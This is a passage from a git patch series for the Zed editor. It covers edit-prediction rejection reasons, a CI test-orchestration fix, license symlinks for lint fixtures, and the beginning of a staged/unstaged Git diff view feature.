+++ b/crates/cloud_api_types/src/cloud_api_types.rs
@@ -36,7 +36,8 @@ pub struct GetAuthenticatedUserResponse {
 
 #[derive(Debug, PartialEq, Serialize, Deserialize)]
 pub struct AuthenticatedUser {
-    pub id: i32,
+    pub id_v2: String,
+    pub legacy_user_id: i32,
     pub metrics_id: String,
     pub username: String,
     pub avatar_url: String,
diff --git a/crates/collab/src/auth.rs b/crates/collab/src/auth.rs
index 95cb4626b3eb49..7f0fa5b7a8a30e 100644
--- a/crates/collab/src/auth.rs
+++ b/crates/collab/src/auth.rs
@@ -67,7 +67,7 @@ pub async fn validate_header<B>(mut req: Request<B>, next: Next<B>) -> impl Into
             .context("failed to parse response body")?;
 
         let user = User {
-            id: UserId(response_body.user.id),
+            id: UserId(response_body.user.legacy_user_id),
             username: response_body.user.username,
             github_login: response_body.user.github_login,
             avatar_url: response_body.user.avatar_url,

From e7311d52ba1b7ec8f2c1651e32bd78e0da4cbca9 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Mon, 6 Jul 2026 17:12:33 -0500
Subject: [PATCH 287/772] Split interpolate failure rejection reason (#60499)

## Summary

- Added `InterpolateFailed` as a distinct edit prediction rejection
reason.
- Kept `InterpolatedEmpty` for successful interpolation that leaves no
edits.
- Updated interpolation callers to classify failed interpolation
separately from empty edit vectors.

Release Notes:

- N/A
---
 .../cloud_llm_client/src/cloud_llm_client.rs  |  2 +
 crates/codestral/src/codestral.rs             |  3 +-
 .../src/edit_prediction_tests.rs              | 72 ++++++++++++++++++-
 crates/edit_prediction/src/prediction.rs      | 46 +++++++-----
 .../src/zed_edit_prediction_delegate.rs       | 11 ++-
 .../src/edit_prediction_types.rs              |  2 +-
 6 files changed, 112 insertions(+), 24 deletions(-)

diff --git a/crates/cloud_llm_client/src/cloud_llm_client.rs b/crates/cloud_llm_client/src/cloud_llm_client.rs
index a33a2e8cc1a779..2bc734cc10e1a2 100644
--- a/crates/cloud_llm_client/src/cloud_llm_client.rs
+++ b/crates/cloud_llm_client/src/cloud_llm_client.rs
@@ -196,6 +196,8 @@ pub enum EditPredictionRejectReason {
     Empty,
     /// Edits returned, but none remained after interpolation
     InterpolatedEmpty,
+    /// Edits returned, but could not be interpolated after buffer changes
+    InterpolateFailed,
     /// The new prediction was preferred over the current one
     Replaced,
     /// The current prediction was preferred over the new one
diff --git a/crates/codestral/src/codestral.rs b/crates/codestral/src/codestral.rs
index 64de772aec1a2b..c5889ae6663770 100644
--- a/crates/codestral/src/codestral.rs
+++ b/crates/codestral/src/codestral.rs
@@ -82,9 +82,10 @@ struct CurrentCompletion {
 
 impl CurrentCompletion {
     /// Attempts to adjust the edits based on changes made to the buffer since the completion was generated.
-    /// Returns None if the user's edits conflict with the predicted edits.
+    /// Returns None if no predicted edits remain or the user's edits conflict with the predicted edits.
     fn interpolate(&self, new_snapshot: &BufferSnapshot) -> Option<Vec<(Range<Anchor>, Arc<str>)>> {
         edit_prediction_types::interpolate_edits(&self.snapshot, new_snapshot, &self.edits)
+            .filter(|edits| !edits.is_empty())
     }
 }
 
diff --git a/crates/edit_prediction/src/edit_prediction_tests.rs b/crates/edit_prediction/src/edit_prediction_tests.rs
index a2a196d1352180..dd8b866a6b1a1e 100644
--- a/crates/edit_prediction/src/edit_prediction_tests.rs
+++ b/crates/edit_prediction/src/edit_prediction_tests.rs
@@ -1389,7 +1389,7 @@ async fn test_interpolated_empty(cx: &mut TestAppContext) {
     let (request, respond_tx) = requests.predict.next().await.unwrap();
 
     buffer.update(cx, |buffer, cx| {
-        buffer.set_text("Hello!\nHow are you?\nBye", cx);
+        buffer.edit([(10..10, " are you?")], None, cx);
     });
 
     let mut response = model_response(&request, SIMPLE_DIFF);
@@ -1412,7 +1412,6 @@ async fn test_interpolated_empty(cx: &mut TestAppContext) {
         assert!(shown_predictions[0].editable_range.is_some());
     });
 
-    // prediction is reported as rejected
     let (reject_request, _) = requests.reject.next().await.unwrap();
 
     assert_eq!(
@@ -1427,6 +1426,75 @@ async fn test_interpolated_empty(cx: &mut TestAppContext) {
     );
 }
 
+#[gpui::test]
+async fn test_interpolate_failed(cx: &mut TestAppContext) {
+    let (ep_store, mut requests) = init_test_with_fake_client(cx);
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        "/root",
+        json!({
+            "foo.md":  "Hello!\nHow\nBye\n"
+        }),
+    )
+    .await;
+    let project = Project::test(fs, vec![path!("/root").as_ref()], cx).await;
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            let path = project.find_project_path(path!("root/foo.md"), cx).unwrap();
+            project.open_buffer(path, cx)
+        })
+        .await
+        .unwrap();
+    let snapshot = buffer.read_with(cx, |buffer, _cx| buffer.snapshot());
+    let position = snapshot.anchor_before(language::Point::new(1, 3));
+
+    ep_store.update(cx, |ep_store, cx| {
+        ep_store.refresh_prediction_from_buffer(
+            project.clone(),
+            buffer.clone(),
+            position,
+            EditPredictionRequestTrigger::Other,
+            cx,
+        );
+    });
+
+    let (request, respond_tx) = requests.predict.next().await.unwrap();
+
+    buffer.update(cx, |buffer, cx| {
+        buffer.edit([(10..10, " is it?")], None, cx);
+    });
+
+    let mut response = model_response(&request, SIMPLE_DIFF);
+    response.model_version = Some("zeta2:test-interpolate-failed".to_string());
+    let id = response.request_id.clone();
+    respond_tx.send(response).unwrap();
+
+    cx.run_until_parked();
+
+    ep_store.update(cx, |ep_store, cx| {
+        assert!(
+            ep_store
+                .prediction_at(&buffer, None, &project, cx)
+                .is_none()
+        );
+        assert!(ep_store.rateable_predictions().next().is_none());
+    });
+
+    let (reject_request, _) = requests.reject.next().await.unwrap();
+
+    assert_eq!(
+        &reject_request.rejections,
+        &[EditPredictionRejection {
+            request_id: id,
+            reason: EditPredictionRejectReason::InterpolateFailed,
+            was_shown: false,
+            model_version: Some("zeta2:test-interpolate-failed".to_string()),
+            e2e_latency_ms: Some(0),
+        }]
+    );
+}
+
 const SIMPLE_DIFF: &str = indoc! { r"
     --- a/root/foo.md
     +++ b/root/foo.md
diff --git a/crates/edit_prediction/src/prediction.rs b/crates/edit_prediction/src/prediction.rs
index ca6379fa6eecf5..0f7896bc882400 100644
--- a/crates/edit_prediction/src/prediction.rs
+++ b/crates/edit_prediction/src/prediction.rs
@@ -49,27 +49,35 @@ impl EditPredictionResult {
         e2e_latency: std::time::Duration,
         cx: &mut AsyncApp,
     ) -> Self {
-        let (edits, new_snapshot) = (!edits.is_empty())
-            .then(|| {
-                edited_buffer.read_with(cx, |buffer, _cx| {
-                    let new_snapshot = buffer.snapshot();
-                    let edits: Arc<[(Range<Anchor>, Arc<str>)]> =
-                        interpolate_edits(&edited_buffer_snapshot, &new_snapshot, &edits)
-                            .map(Arc::from)
-                            .unwrap_or_default();
-                    let snapshot = (!edits.is_empty()).then_some(new_snapshot);
-                    (Some(edits), snapshot)
-                })
+        let (edits, reject_reason, new_snapshot): (
+            Arc<[(Range<Anchor>, Arc<str>)]>,
+            Option<EditPredictionRejectReason>,
+            Option<BufferSnapshot>,
+        ) = if edits.is_empty() {
+            (
+                Arc::default(),
+                Some(EditPredictionRejectReason::Empty),
+                None,
+            )
+        } else {
+            edited_buffer.read_with(cx, |buffer, _cx| {
+                let new_snapshot = buffer.snapshot();
+                match interpolate_edits(&edited_buffer_snapshot, &new_snapshot, &edits) {
+                    Some(edits) if edits.is_empty() => (
+                        Arc::default(),
+                        Some(EditPredictionRejectReason::InterpolatedEmpty),
+                        None,
+                    ),
+                    Some(edits) => (Arc::from(edits), None, Some(new_snapshot)),
+                    None => (
+                        Arc::default(),
+                        Some(EditPredictionRejectReason::InterpolateFailed),
+                        None,
+                    ),
+                }
             })
-            .unwrap_or_default();
-        let snapshot = new_snapshot.unwrap_or_else(|| edited_buffer_snapshot.clone());
-
-        let reject_reason = match edits.as_ref() {
-            None => Some(EditPredictionRejectReason::Empty),
-            Some(edits) if edits.is_empty() => Some(EditPredictionRejectReason::InterpolatedEmpty),
-            Some(_) => None,
         };
-        let edits = edits.unwrap_or_default();
+        let snapshot = new_snapshot.unwrap_or_else(|| edited_buffer_snapshot.clone());
 
         let edit_preview = if !edits.is_empty() {
             edited_buffer
diff --git a/crates/edit_prediction/src/zed_edit_prediction_delegate.rs b/crates/edit_prediction/src/zed_edit_prediction_delegate.rs
index c3cb556c7b1b4b..b7ae7d629ec9a4 100644
--- a/crates/edit_prediction/src/zed_edit_prediction_delegate.rs
+++ b/crates/edit_prediction/src/zed_edit_prediction_delegate.rs
@@ -222,13 +222,22 @@ impl EditPredictionDelegate for ZedEditPredictionDelegate {
 
             let Some(edits) = prediction.interpolate(&snapshot) else {
                 store.reject_current_prediction(
-                    EditPredictionRejectReason::InterpolatedEmpty,
+                    EditPredictionRejectReason::InterpolateFailed,
                     &self.project,
                     cx,
                 );
                 return None;
             };
 
+            if edits.is_empty() {
+                store.reject_current_prediction(
+                    EditPredictionRejectReason::InterpolatedEmpty,
+                    &self.project,
+                    cx,
+                );
+                return None;
+            }
+
             let cursor_row = cursor_position.to_point(&snapshot).row;
             let (closest_edit_ix, (closest_edit_range, _)) =
                 edits.iter().enumerate().min_by_key(|(_, (range, _))| {
diff --git a/crates/edit_prediction_types/src/edit_prediction_types.rs b/crates/edit_prediction_types/src/edit_prediction_types.rs
index a285e8aa70a72e..bcd1f5d8e62ef5 100644
--- a/crates/edit_prediction_types/src/edit_prediction_types.rs
+++ b/crates/edit_prediction_types/src/edit_prediction_types.rs
@@ -392,5 +392,5 @@ pub fn interpolate_edits(
 
     edits.extend(model_edits.cloned());
 
-    if edits.is_empty() { None } else { Some(edits) }
+    Some(edits)
 }

From 52bc5a0488d4964a5981cbd923409d55341b088a Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Mon, 6 Jul 2026 21:20:27 -0400
Subject: [PATCH 288/772] run_tests: Stop treating non-workspace dirs as
 packages (#60502)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The `orchestrate` job maps changed directories to root-workspace package
names, and when no mapping was found it fell back to using the raw
directory name as a package. Because `tooling/lints` is a separate
workspace (not a root-workspace member), a change under
`tooling/lints/**` produced the filter `rdeps(lints)`, which `cargo
nextest run --workspace` rejects with "operator didn't match any
packages" — failing `run_tests` for any such PR. This drops that
fallback so an unmapped directory falls through to the existing "no
package changes → run all tests" path instead.

Release Notes:

- N/A
---
 .github/workflows/run_tests.yml                | 11 ++++++++---
 tooling/xtask/src/tasks/workflows/run_tests.rs | 11 ++++++++---
 2 files changed, 16 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/run_tests.yml b/.github/workflows/run_tests.yml
index 1b8f416baab558..319c7290dd7768 100644
--- a/.github/workflows/run_tests.yml
+++ b/.github/workflows/run_tests.yml
@@ -76,11 +76,16 @@ jobs:
           FILE_CHANGED_PKGS=""
           for dir in $CHANGED_DIRS; do
             pkg=$(echo "$DIR_TO_PKG" | grep "^${dir}=" | cut -d= -f2 | head -1 || true)
+            # Only add directories that map to a real root-workspace package.
+            # Some directories (e.g. tooling/lints) belong to a separate workspace
+            # and are not root members, so they have no mapping here. Previously we
+            # fell back to the raw directory name, which fabricated a bogus package
+            # (e.g. "lints") and produced a nextest filter like rdeps(lints) that
+            # hard-errors ("operator didn't match any packages"). Skipping such
+            # directories leaves the package set empty, which falls through to the
+            # "run all tests" path below.
             if [ -n "$pkg" ]; then
               FILE_CHANGED_PKGS=$(printf '%s\n%s' "$FILE_CHANGED_PKGS" "$pkg")
-            else
-              # Fall back to directory name if no mapping found
-              FILE_CHANGED_PKGS=$(printf '%s\n%s' "$FILE_CHANGED_PKGS" "$dir")
             fi
           done
           FILE_CHANGED_PKGS=$(echo "$FILE_CHANGED_PKGS" | grep -v '^$' | sort -u || true)
diff --git a/tooling/xtask/src/tasks/workflows/run_tests.rs b/tooling/xtask/src/tasks/workflows/run_tests.rs
index 84dc6692392b50..62043c545aa1e3 100644
--- a/tooling/xtask/src/tasks/workflows/run_tests.rs
+++ b/tooling/xtask/src/tasks/workflows/run_tests.rs
@@ -222,11 +222,16 @@ fn orchestrate_impl(rules: &[&PathCondition], target: OrchestrateTarget) -> Name
           FILE_CHANGED_PKGS=""
           for dir in $CHANGED_DIRS; do
             pkg=$(echo "$DIR_TO_PKG" | grep "^${dir}=" | cut -d= -f2 | head -1 || true)
+            # Only add directories that map to a real root-workspace package.
+            # Some directories (e.g. tooling/lints) belong to a separate workspace
+            # and are not root members, so they have no mapping here. Previously we
+            # fell back to the raw directory name, which fabricated a bogus package
+            # (e.g. "lints") and produced a nextest filter like rdeps(lints) that
+            # hard-errors ("operator didn't match any packages"). Skipping such
+            # directories leaves the package set empty, which falls through to the
+            # "run all tests" path below.
             if [ -n "$pkg" ]; then
               FILE_CHANGED_PKGS=$(printf '%s\n%s' "$FILE_CHANGED_PKGS" "$pkg")
-            else
-              # Fall back to directory name if no mapping found
-              FILE_CHANGED_PKGS=$(printf '%s\n%s' "$FILE_CHANGED_PKGS" "$dir")
             fi
           done
           FILE_CHANGED_PKGS=$(echo "$FILE_CHANGED_PKGS" | grep -v '^$' | sort -u || true)

From 872ca8fef52fe527fc922e8bf61e93201de79878 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Mon, 6 Jul 2026 21:35:06 -0400
Subject: [PATCH 289/772] Add license symlinks to lint test fixture crates
 (#60505)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Stacked on #60502 and targets it — #60502 must land first (its
orchestrator fix is what lets this `tooling/lints/`-touching PR go green
rather than tripping the `rdeps(lints)` nextest filter). Re-creates the
symlinks from #60504, which was accidentally merged into #60502's branch
and reverted.

Follow-up to #60468, which added a `LICENSE-APACHE` symlink to the
`tooling/lints` crate but not to the `test_fixture` sub-crates. Those
five sub-crates each carry a `Cargo.toml`, so `script/check-licenses`
requires a `LICENSE-GPL`/`LICENSE-APACHE` symlink in each, and
`check_licenses` fails on any PR that changes `Cargo.lock`. This adds
`LICENSE-APACHE` symlinks to the five fixture crates, matching #60468;
`script/check-licenses` passes locally afterward.

Release Notes:

- N/A
---
 tooling/lints/test_fixture/LICENSE-APACHE                    | 1 +
 tooling/lints/test_fixture/consumer/LICENSE-APACHE           | 1 +
 tooling/lints/test_fixture/gpui/LICENSE-APACHE               | 1 +
 tooling/lints/test_fixture/gpui_shared_string/LICENSE-APACHE | 1 +
 tooling/lints/test_fixture/render_consumer/LICENSE-APACHE    | 1 +
 5 files changed, 5 insertions(+)
 create mode 120000 tooling/lints/test_fixture/LICENSE-APACHE
 create mode 120000 tooling/lints/test_fixture/consumer/LICENSE-APACHE
 create mode 120000 tooling/lints/test_fixture/gpui/LICENSE-APACHE
 create mode 120000 tooling/lints/test_fixture/gpui_shared_string/LICENSE-APACHE
 create mode 120000 tooling/lints/test_fixture/render_consumer/LICENSE-APACHE

diff --git a/tooling/lints/test_fixture/LICENSE-APACHE b/tooling/lints/test_fixture/LICENSE-APACHE
new file mode 120000
index 00000000000000..6e2b1da8755027
--- /dev/null
+++ b/tooling/lints/test_fixture/LICENSE-APACHE
@@ -0,0 +1 @@
+../../../LICENSE-APACHE
\ No newline at end of file
diff --git a/tooling/lints/test_fixture/consumer/LICENSE-APACHE b/tooling/lints/test_fixture/consumer/LICENSE-APACHE
new file mode 120000
index 00000000000000..15824831a24d77
--- /dev/null
+++ b/tooling/lints/test_fixture/consumer/LICENSE-APACHE
@@ -0,0 +1 @@
+../../../../LICENSE-APACHE
\ No newline at end of file
diff --git a/tooling/lints/test_fixture/gpui/LICENSE-APACHE b/tooling/lints/test_fixture/gpui/LICENSE-APACHE
new file mode 120000
index 00000000000000..15824831a24d77
--- /dev/null
+++ b/tooling/lints/test_fixture/gpui/LICENSE-APACHE
@@ -0,0 +1 @@
+../../../../LICENSE-APACHE
\ No newline at end of file
diff --git a/tooling/lints/test_fixture/gpui_shared_string/LICENSE-APACHE b/tooling/lints/test_fixture/gpui_shared_string/LICENSE-APACHE
new file mode 120000
index 00000000000000..15824831a24d77
--- /dev/null
+++ b/tooling/lints/test_fixture/gpui_shared_string/LICENSE-APACHE
@@ -0,0 +1 @@
+../../../../LICENSE-APACHE
\ No newline at end of file
diff --git a/tooling/lints/test_fixture/render_consumer/LICENSE-APACHE b/tooling/lints/test_fixture/render_consumer/LICENSE-APACHE
new file mode 120000
index 00000000000000..15824831a24d77
--- /dev/null
+++ b/tooling/lints/test_fixture/render_consumer/LICENSE-APACHE
@@ -0,0 +1 @@
+../../../../LICENSE-APACHE
\ No newline at end of file

From c31b2b0dc7180247b2981eb084594efaf11ee396 Mon Sep 17 00:00:00 2001
From: drbh <david.richard.holtz@gmail.com>
Date: Tue, 7 Jul 2026 02:55:29 -0400
Subject: [PATCH 290/772] Git partially staged changes (#46541)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR explores the addition of a new feature and UI to improve
visibility into partially staged commits.

Currently, the Git panel shows tracked and untracked changes, but it
does not clearly distinguish between staged and unstaged changes.

As a result, it’s difficult to quickly see which changes are not staged
in the current UI. Both staged and unstaged changes are combined into
the `Uncommitted Changes` multibuffer. This developer experience differs
from other editors, most notably VS Code; which presents separate Staged
Changes and Changes lists.

### Staged and unstaged diffs in multibuffers

This PR introduces an alternative UI for unstaged changes that aligns
with the overall Zed experience. Instead of showing changes on a
per-file basis, staged and unstaged diffs are each displayed in their
own multibuffers, similar to how `Uncommitted Changes` currently works.

For example the following screenshot shows the current `Uncommitted
Changes` on the left, the `Staged Changes` in the middle and the
`Unstaged Changes` buffer on the right for comparison

<img width="1408" height="859"
src="https://github.com/user-attachments/assets/aa709f7a-041d-4cb1-95d6-84c0f5fff688"
/>

### Indicators/interactions

The new multibuffers can be opened in two ways:

1. Via a new `U` chip, which appears when a file has unstaged changes
2. Via new menu options

(See screenshots below for both interaction paths.)


<table>
  <tr>
    <td style="text-align: center; vertical-align: top;">
      <p>via the chip</p>
      <img
        height="400"

src="https://github.com/user-attachments/assets/3ef69f02-b787-499c-959a-25f50b3728e8"
        alt="Via the chip"
      />
    </td>
    <td style="text-align: center; vertical-align: top;">
      <p>via the menu</p>
      <img
        height="400"

src="https://github.com/user-attachments/assets/f5be8b6d-ccdc-4420-bd29-75570b558016"
        alt="Via the menu"
      />
    </td>
  </tr>
</table>

### Design goals
- minimally intrusive UI changes (small new badge and menu items)
- adhere by Zed'ism (use multibuffer where possible)
- avoid disabling any current interactions (Uncommitted Changes ui is
unchanged)
- avoid introducing an app level view mode (no new settings needed)

### Experience goals
- make it easy to see what changes are not staged
- make it easy to see that a file has unstaged changes (avoid developers
accidently leaving out changes in a commit; a personal issue that I have
when using Zed)
- elegantly handle large file's unstaged changes (follows the same
collapse and expanding seen in `Uncommitted Changes`)

### How to try

- Clone the repo and run `cargo run`
- Make a change to a file and stage it
- Make another change to the file (the `U` indicator will appear)
- Click the `U` to see the unstaged view

### Open questions/rough edges
- [ ] determine if this user experience is useful for others
- [ ] ensure all interactions work as expected (response to all update
cases)

In general I'm really interested in hearing the community's feedback
about this interface, more than happy to make any changes or explore a
different solution!

### Related issue:
- https://github.com/zed-industries/zed/pull/36646
- https://github.com/zed-industries/zed/issues/26560

Release Notes:

- Support partially staged commit multibuffers via a staged and unstaged
changes view.

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Cole Miller <cole@zed.dev>
---
 crates/agent_ui/src/agent_diff.rs             |   96 +-
 crates/agent_ui/src/entry_view_state.rs       |    9 +-
 crates/buffer_diff/src/buffer_diff.rs         |  632 +++-
 crates/editor/src/config.rs                   |    4 -
 crates/editor/src/editor.rs                   |   30 +-
 crates/editor/src/element.rs                  |   13 +-
 crates/editor/src/git.rs                      |  646 ++--
 crates/editor/src/split.rs                    |  188 +-
 crates/git_ui/src/branch_diff.rs              | 1199 +++++++
 crates/git_ui/src/commit_view.rs              |    8 +-
 crates/git_ui/src/conflict_view.rs            |   71 +-
 crates/git_ui/src/diff_multibuffer.rs         | 1016 ++++++
 crates/git_ui/src/file_diff_view.rs           |   12 +-
 crates/git_ui/src/git_panel.rs                |   58 +-
 crates/git_ui/src/git_ui.rs                   |    7 +
 crates/git_ui/src/multi_diff_view.rs          |   12 +-
 crates/git_ui/src/project_diff.rs             | 3028 +++++------------
 crates/git_ui/src/staged_diff.rs              | 1090 ++++++
 crates/git_ui/src/text_diff_view.rs           |   11 +-
 crates/git_ui/src/unstaged_diff.rs            |  722 ++++
 crates/multi_buffer/src/multi_buffer.rs       |    5 +-
 crates/project/src/git_store.rs               |  703 +++-
 .../{branch_diff.rs => diff_buffer_list.rs}   |  141 +-
 crates/project/src/project.rs                 |   57 +-
 .../tests/integration/project_tests.rs        |  949 +++++-
 crates/proto/proto/git.proto                  |    5 +
 crates/search/src/buffer_search.rs            |    5 +-
 crates/zed/src/zed.rs                         |    9 +-
 crates/zed_actions/src/lib.rs                 |    6 +
 29 files changed, 7749 insertions(+), 2983 deletions(-)
 create mode 100644 crates/git_ui/src/branch_diff.rs
 create mode 100644 crates/git_ui/src/diff_multibuffer.rs
 create mode 100644 crates/git_ui/src/staged_diff.rs
 create mode 100644 crates/git_ui/src/unstaged_diff.rs
 rename crates/project/src/git_store/{branch_diff.rs => diff_buffer_list.rs} (76%)

diff --git a/crates/agent_ui/src/agent_diff.rs b/crates/agent_ui/src/agent_diff.rs
index 9f51e53b292e58..079b043e467d70 100644
--- a/crates/agent_ui/src/agent_diff.rs
+++ b/crates/agent_ui/src/agent_diff.rs
@@ -6,8 +6,8 @@ use anyhow::Result;
 use buffer_diff::DiffHunkStatus;
 use collections::{HashMap, HashSet};
 use editor::{
-    Direction, Editor, EditorEvent, EditorSettings, MultiBuffer, MultiBufferSnapshot,
-    SelectionEffects, SplittableEditor, ToPoint,
+    DiffHunkDelegate, Direction, Editor, EditorEvent, EditorSettings, MultiBuffer,
+    MultiBufferSnapshot, ResolvedDiffHunks, SelectionEffects, SplittableEditor, ToPoint,
     actions::{GoToHunk, GoToPreviousHunk},
     multibuffer_context_lines,
     scroll::Autoscroll,
@@ -101,8 +101,7 @@ impl AgentDiffPane {
                 cx,
             );
             diff_display_editor
-                .set_render_diff_hunk_controls(diff_hunk_controls(&thread, workspace.clone()), cx);
-            diff_display_editor.set_render_diff_hunks_as_unstaged(cx);
+                .set_diff_hunk_delegate(Some(agent_diff_delegate(&thread, workspace.clone())), cx);
             diff_display_editor.update_editors(cx, |editor, _cx| {
                 editor.register_addon(AgentDiffAddon);
             });
@@ -722,29 +721,68 @@ impl Render for AgentDiffPane {
     }
 }
 
-fn diff_hunk_controls(
+struct AgentDiffDelegate {
+    thread: Entity<AcpThread>,
+    workspace: WeakEntity<Workspace>,
+}
+
+fn agent_diff_delegate(
     thread: &Entity<AcpThread>,
     workspace: WeakEntity<Workspace>,
-) -> editor::RenderDiffHunkControlsFn {
-    let thread = thread.clone();
+) -> Arc<dyn DiffHunkDelegate> {
+    Arc::new(AgentDiffDelegate {
+        thread: thread.clone(),
+        workspace,
+    })
+}
 
-    Arc::new(
-        move |row, status, hunk_range, is_created_file, line_height, editor, _, cx| {
-            {
-                render_diff_hunk_controls(
-                    row,
-                    status,
-                    hunk_range,
-                    is_created_file,
-                    line_height,
-                    &thread,
-                    editor,
-                    workspace.clone(),
-                    cx,
-                )
-            }
-        },
-    )
+impl DiffHunkDelegate for AgentDiffDelegate {
+    fn toggle(
+        &self,
+        _hunks: Vec<ResolvedDiffHunks>,
+        _editor: &mut Editor,
+        _window: &mut Window,
+        _cx: &mut Context<Editor>,
+    ) {
+    }
+
+    fn stage_or_unstage(
+        &self,
+        _stage: bool,
+        _hunks: Vec<ResolvedDiffHunks>,
+        _editor: &mut Editor,
+        _window: &mut Window,
+        _cx: &mut Context<Editor>,
+    ) {
+    }
+
+    fn render_hunk_controls(
+        &self,
+        row: u32,
+        status: &DiffHunkStatus,
+        hunk_range: Range<editor::Anchor>,
+        is_created_file: bool,
+        line_height: Pixels,
+        editor: &Entity<Editor>,
+        _window: &mut Window,
+        cx: &mut App,
+    ) -> AnyElement {
+        render_diff_hunk_controls(
+            row,
+            status,
+            hunk_range,
+            is_created_file,
+            line_height,
+            &self.thread,
+            editor,
+            self.workspace.clone(),
+            cx,
+        )
+    }
+
+    fn render_hunk_as_staged(&self, _status: &DiffHunkStatus, _cx: &App) -> bool {
+        false
+    }
 }
 
 fn render_diff_hunk_controls(
@@ -1528,7 +1566,7 @@ impl AgentDiff {
             for (editor, _) in self.reviewing_editors.drain() {
                 editor
                     .update(cx, |editor, cx| {
-                        editor.end_temporary_diff_override(cx);
+                        editor.set_diff_hunk_delegate(None, cx);
                         editor.unregister_addon::<EditorAgentDiffAddon>();
                     })
                     .ok();
@@ -1577,12 +1615,10 @@ impl AgentDiff {
 
                 if previous_state.is_none() {
                     editor.update(cx, |editor, cx| {
-                        editor.start_temporary_diff_override();
-                        editor.set_render_diff_hunk_controls(
-                            diff_hunk_controls(&thread, workspace.clone()),
+                        editor.set_diff_hunk_delegate(
+                            Some(agent_diff_delegate(&thread, workspace.clone())),
                             cx,
                         );
-                        editor.set_render_diff_hunks_as_unstaged(true, cx);
                         editor.set_expand_all_diff_hunks(cx);
                         editor.register_addon(EditorAgentDiffAddon);
                     });
@@ -1629,7 +1665,7 @@ impl AgentDiff {
             if in_workspace {
                 editor
                     .update(cx, |editor, cx| {
-                        editor.end_temporary_diff_override(cx);
+                        editor.set_diff_hunk_delegate(None, cx);
                         editor.unregister_addon::<EditorAgentDiffAddon>();
                     })
                     .ok();
diff --git a/crates/agent_ui/src/entry_view_state.rs b/crates/agent_ui/src/entry_view_state.rs
index e2ad7ca71ecb34..faa760b73a6ad9 100644
--- a/crates/agent_ui/src/entry_view_state.rs
+++ b/crates/agent_ui/src/entry_view_state.rs
@@ -1,11 +1,14 @@
-use std::ops::Range;
+use std::{ops::Range, sync::Arc};
 
 use acp_thread::{AcpThread, AgentThreadEntry, AssistantMessageChunk};
 use agent::ThreadStore;
 use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentSettings;
 use collections::{HashMap, HashSet};
-use editor::{Editor, EditorEvent, EditorMode, MinimapVisibility, SizingBehavior};
+use editor::{
+    Editor, EditorEvent, EditorMode, MinimapVisibility, RestoreOnlyUnstagedDiffHunkDelegate,
+    SizingBehavior,
+};
 use gpui::{
     AnyEntity, App, AppContext as _, Entity, EntityId, EventEmitter, FocusHandle, Focusable,
     ScrollHandle, TextStyleRefinement, WeakEntity, Window,
@@ -682,7 +685,7 @@ fn create_editor_diff(
         editor.set_show_code_actions(false, cx);
         editor.set_show_git_diff_gutter(false, cx);
         editor.set_expand_all_diff_hunks(cx);
-        editor.set_render_diff_hunks_as_unstaged(true, cx);
+        editor.set_diff_hunk_delegate(Some(Arc::new(RestoreOnlyUnstagedDiffHunkDelegate)), cx);
         editor.set_text_style_refinement(diff_editor_text_style_refinement(cx));
         editor
     })
diff --git a/crates/buffer_diff/src/buffer_diff.rs b/crates/buffer_diff/src/buffer_diff.rs
index c300ace11ae1d9..5cba96c5a92631 100644
--- a/crates/buffer_diff/src/buffer_diff.rs
+++ b/crates/buffer_diff/src/buffer_diff.rs
@@ -122,11 +122,37 @@ struct InternalDiffHunk {
 }
 
 #[derive(Debug, Clone, PartialEq, Eq)]
-struct PendingHunk {
+pub struct PendingHunk {
     buffer_range: Range<Anchor>,
     diff_base_byte_range: Range<usize>,
     buffer_version: clock::Global,
-    new_status: DiffHunkSecondaryStatus,
+    sense: PendingSense,
+}
+
+impl PendingHunk {
+    pub fn new(
+        buffer_range: Range<Anchor>,
+        diff_base_byte_range: Range<usize>,
+        buffer_version: clock::Global,
+        sense: PendingSense,
+    ) -> Self {
+        Self {
+            buffer_range,
+            diff_base_byte_range,
+            buffer_version,
+            sense,
+        }
+    }
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum PendingSense {
+    /// Override the secondary status of the matched hunk (used by the
+    /// uncommitted diff to show a hunk as staging/unstaging in place).
+    SetSecondaryStatus { stage: bool },
+    /// Suppress the matched hunk entirely (used by the unstaged/staged diffs so
+    /// that a hunk disappears the moment it is staged/unstaged).
+    Suppress,
 }
 
 #[derive(Debug, Clone)]
@@ -294,6 +320,56 @@ impl BufferDiffSnapshot {
         self.hunks_intersecting_range_impl(filter, buffer, unstaged_counterpart)
     }
 
+    /// Like [`hunks_intersecting_range`], but ignores optimistic pending hunks
+    /// (both secondary-status overrides and suppressions) and does not compute a
+    /// secondary status.
+    pub fn raw_hunks_intersecting_range<'a>(
+        &'a self,
+        range: Range<Anchor>,
+        buffer: &'a text::BufferSnapshot,
+    ) -> impl 'a + Iterator<Item = DiffHunk> {
+        let range = range.to_offset(buffer);
+        let filter = move |summary: &DiffHunkSummary| {
+            let summary_range = summary.buffer_range.to_offset(buffer);
+            !(summary_range.end < range.start) && !(summary_range.start > range.end)
+        };
+        self.hunks
+            .filter::<_, DiffHunkSummary>(buffer, filter)
+            .map(move |hunk| {
+                let buffer_range = hunk.buffer_range.clone();
+                DiffHunk {
+                    range: buffer_range.to_point(buffer),
+                    diff_base_byte_range: hunk.diff_base_byte_range.clone(),
+                    buffer_range,
+                    secondary_status: DiffHunkSecondaryStatus::NoSecondaryHunk,
+                    base_word_diffs: hunk.base_word_diffs.clone(),
+                    buffer_word_diffs: hunk.buffer_word_diffs.clone(),
+                }
+            })
+    }
+
+    /// Maps a range in this diff's main buffer to the range it covers in the
+    /// base text, expanding to whole hunks wherever the range endpoints fall
+    /// inside or touch a hunk (`edit_for_old_position` is inclusive on both
+    /// boundaries, matching `raw_hunks_intersecting_range`). Used by the
